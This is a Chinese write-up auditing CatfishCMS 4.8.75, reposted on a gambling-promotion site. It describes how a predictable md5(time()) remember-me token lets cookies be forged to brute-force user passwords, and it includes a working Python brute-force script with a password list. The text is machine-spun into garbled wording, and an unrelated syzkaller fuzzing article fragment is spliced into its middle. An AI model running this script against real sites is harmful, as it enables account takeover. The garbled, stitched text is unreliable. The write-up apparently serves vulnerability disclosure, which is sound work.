某fishcms 之记一次风趣的审计 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

某fishcms 之记一次风趣的审计

申博_安全防护 申博 117次浏览 未收录 0个评论

上一篇文章审到了 背景的getshell
地点:某fishcms 背景存在恣意文件删除+getshell

想着怎么说也再审审,然后。。。

审了一个伤害不算大的,但以为挺风趣的,分享一下

发明问题

无望之际,最先翻起了函数。

user\controller\common.php 中,我发明了:

发明 Cookie 中猎取 useruser_id ,马上提起了我的兴致。

起首我们顺次看看这函数的三个推断。

49行的:

if(
    !Session::has($this->session_prefix.'user_id') 
    && Cookie::has($this->session_prefix.'user_id') 
    && Cookie::has($this->session_prefix.'user')
)

为了轻易,这里我们先疏忽 $this->session_prefix 这个前缀。

三个前提:

  1. SESSION 中不存在 user_id
  2. cookie 中存在 user_id
  3. cookie 中存在 user

看起来不难,先不剖析,看看第二个:

$cookie_user_p = Cache::get('cookie_user_p');
if(
    Cookie::has($this->session_prefix.'user_p') 
    && $cookie_user_p !== false
)
  1. cookie 中有 user_p
  2. cache 中有 cookie_user_p

临时疏忽 cache 中的谁人值,再看看第三个 if

$user = 从数据库中查找 $_COOKIE['user'] 对应的 pass 和 user_type
if(
    !empty($user) 
    && md5($cookie_user_p.$user['user_pass']) == Cookie::get($this->session_prefix.'user_p')
)
  1. 查得出数据就能够过
  2. md5($cookie_user_p+用户的暗码) 即是 cookie 中的 user_p

接下来我们总结一下这三个 if,这里 cookie 的值我们是可控的,不可控的值只要两个:

  1. $this->session_prefix
  2. $cookie_user_p = Cache::get('cookie_user_p');

第一个的值($this->session_prefix):

某fishcms 之记一次风趣的审计

url.build('/') 就是网站的根目录。

以是这个值就是:catfish + 根目录的值替代几个特别字符

第二个值(Cache::get('cookie_user_p'))在这个类没有赋值,全局搜刮一下只找到一处赋值的处所:

这是上岸的函数,在推断完账号暗码后到的这里。

这个 remeber 一看就晓得是 记着账号 的按钮。

125 行界说了这个值:

$cookie_user_p = md5(time());

能够说是相称微弱了,这个随机数我们是很轻易找出来的。

以是一切的值都是已知的
只剩末了一个问题了,有甚么用呢?

问得好,我们看看上岸胜利后都做了甚么:

Session::set($this->session_prefix.'user_id',Cookie::get($this->session_prefix.'user_id'));
Session::set($this->session_prefix.'user',Cookie::get($this->session_prefix.'user'));
Session::set($this->session_prefix.'user_type',$user['user_type']);

由于从数据库中猎取了 username 响应的暗码,以是 usernamepassword 我们都要填准确的才行。 以是 useruser_type 不可,只要 user_id 了我们能够恣意掌握。然则这个 user_id 找了一圈,也没找到甚么实质性的伤害。。。

思索问题

在我眼睁睁地看着我的头发掉了三根的时刻,我想到了,这里我们相称于绕过验证码,爆破用户名暗码。这也算是低危了吧。

下面我们能够来思索怎样利用了:

我们再一个前提一个前提来:

第一个:

if(!Session::has($this->session_prefix.'user_id') && Cookie::has($this->session_prefix.'user_id') && Cookie::has($this->session_prefix.'user'))

我们没上岸时,默许是没有 user_idsession 里的,以是这里没影响。

第二个:

$cookie_user_p = Cache::get('cookie_user_p');
if(Cookie::has($this->session_prefix.'user_p') && $cookie_user_p !== false)

这里是症结了,默许 cookie_user_p 实际上是 false ,然则设置的处所只要一处,是上岸的处所,然则第一个 if 推断了 sessionuser_id ,相称于不克不及上岸

以是换个角度,我们能不克不及先上岸一次,再注销呢?

谜底是:固然能够,并且注销也不会删掉 Cachecookie_user_p 的值。

ok,既然如此,我们能够先尝尝。

内核漏洞挖掘技术系列(4)——syzkaller(4)

这是内核漏洞挖掘技术系列的第八篇。 第一篇:内核漏洞挖掘技术系列(1)——trinity 第二篇:内核漏洞挖掘技术系列(2)——bochspwn 第三篇:内核漏洞挖掘技术系列(3)——bochspwn-reloaded(1) 第四篇:内核漏洞挖掘技术系列(3)——bochspwn-reloaded(2) 第五篇:内核漏洞挖掘技术系列(4)——syzkaller(1) 第六篇:内核漏洞挖掘技术系列(4)——syzkaller(2) 第七篇:内核漏洞挖掘技术系列(4)——syzkaller(3) 在上一篇文章中我们主要介绍了syzkaller是怎么处理crash的,这篇文章我们主要介绍vmLoop函数中是怎么进行fuzz的。在runInstance函数中把syz-fuzzer和syz-executor复制到VM中,调用FuzzerCmd函数通过ssh执行syz-fuzzer。 执行的命令大概像下面这样: /syz-fuzzer -executor=/syz-executor -name=vm-0 -arch=amd64 -manager=10.0.2.10:33185 -procs=1 -leak=false -cover=true -sandbox=none -debug=true -v=100
同时MonitorExecution函数进行监控,检测输出中的内核oops信息、丢失连接、挂起等等。 在fuzzer.go的main函数中首先进行了一些设置,比较重要的是通过RPC调用的Check函数。Check函数最终调用loadCorpus函数将db中的语料加载到mgr.candidates中。在fuzzer.go的

破绽复现

起首我们能够须要一个如许的 php

这轻易我们等等上岸完找到一个也许的 time 值。

然后我们就去上岸吧:
某fishcms 之记一次风趣的审计

这里点 记着我
上岸完后我们接见这个 php

此时我们能够看看我们的 cookie

某fishcms 之记一次风趣的审计

我们能够在这里就直接找到他的前缀:catfishCatfishCMS|4?8?75

然后再看看 user_p 这个值:7541e2cc792bd77faf926e96a6006031

我们再来回忆一下这个值是这么设置的:
Cookie::set(前缀.'user_p',md5($cookie_user_p.$user['user_pass']),604800);

$cookie_user_p 是谁人 md5(时候)
$user['user_pass'] 是我们的暗码。

我们有一个近似的时候了,以是我们很轻易爆破出来这个 $cookie_user_p 究竟是多少。

我们写个 jo 本:

import hashlib
def md5(s):
    return hashlib.md5(s).hexdigest()
cookie_user_p = 1558287843
login_password = '123456'
while True:
    if md5(md5(str(cookie_user_p))+md5(login_password)) == "7541e2cc792bd77faf926e96a6006031":
        break
    cookie_user_p-=1
print cookie_user_p

这里我跑出了 : 1558279836

然后我们如今注销上岸。

再看看那里调用了 checkUser

我们能够看到 user\index 一最先就调用了这个函数。我们能够接见 /user/index ,然后抓包。

默许的包:

然后我们增加几个症结 cookie

catfishCatfishCMS|4?8?75user_id=any;
catfishCatfishCMS|4?8?75user=ruozhi1;
catfishCatfishCMS|4?8?75user_p=7541e2cc792bd77faf926e96a6006031;

user_p 是:md5(md5('1558279836')+md5('123456'));

这里 1558279836 是我刚跑出来的值,123456 是我的暗码

胜利了。。

固然,既然是要爆破,好比我们再尝尝其余账号。

起首我们须要再注销一次用户(由于第一个 if 中推断了 session 中不克不及有 user_id

这里我又注册了一个:

账号:ruozhi2,暗码:12345678

md5(md5('1558279836')+md5('12345678')) = bb889606714938a2408aa29fa6d0aa4d

某fishcms 之记一次风趣的审计

依旧能够。

固然了,爆破这个操纵手工来一定太贫苦,以是我们能够写个剧本:

剧本在最下面。。

总结

这个破绽实在伤害不大,然则我以为这个破绽的思绪挺有意义的,以是拿出来献丑了。

在开辟中能够把 time 改成 随机数 或许直接 像验证码那样弄几个几十个随机字符,如许就加大了爆破这个字符串的难度。

剧本

#python3 剧本
import requests
import hashlib

passwords = [ 
'123456',
'12345',
'123456789',
'password',
'iloveyou',
'princess',
'1234567',
'rockyou',
'12345678',
'abc123',
'nicole',
'daniel',
'babygirl',
'monkey',
'lovely',
'jessica',
'654321',
'michael',
'ashley',
'qwerty',
'111111',
'iloveu',
]

def md5(s):
    return hashlib.md5(s.encode()).hexdigest()

u = "http://127.0.0.1/CatfishCMS-4.8.75/user.html"

session_prefix = 'catfishCatfishCMS|4?8?75' # 前缀
user_p = '7541e2cc792bd77faf926e96a6006031' # 上岸后 cookie 中 user_p 的值
login_password = '123456' # 上岸时的暗码
PHPSESSID = 'dvl43ghjiocb81tkgabv46pmkt'

username = 'ruozhi3' # 爆破的用户名

cookie_user_p = 1558287843 #上岸时也许的时候戳(要在上岸胜利后的时候

while True:
    if md5(md5(str(cookie_user_p))+md5(login_password)) == user_p:
        break
    cookie_user_p-=1
print(cookie_user_p)

for passwd in passwords:

    print("check:"+str(passwd))
    cookie = {
         "think_var":"zh-cn",
         "PHPSESSID":PHPSESSID,
         session_prefix+"user_id":"any",
         session_prefix+"user":username,
         session_prefix+"user_p":md5(md5(str(cookie_user_p))+md5(passwd)),
    }


    r = requests.post(u,cookies=cookie,allow_redirects=False)
    if 'location' not in r.headers or r.headers['location'].find("login") < 0:
        print("Success~");
        print(username,passwd)
        break

申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明某fishcms 之记一次风趣的审计
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址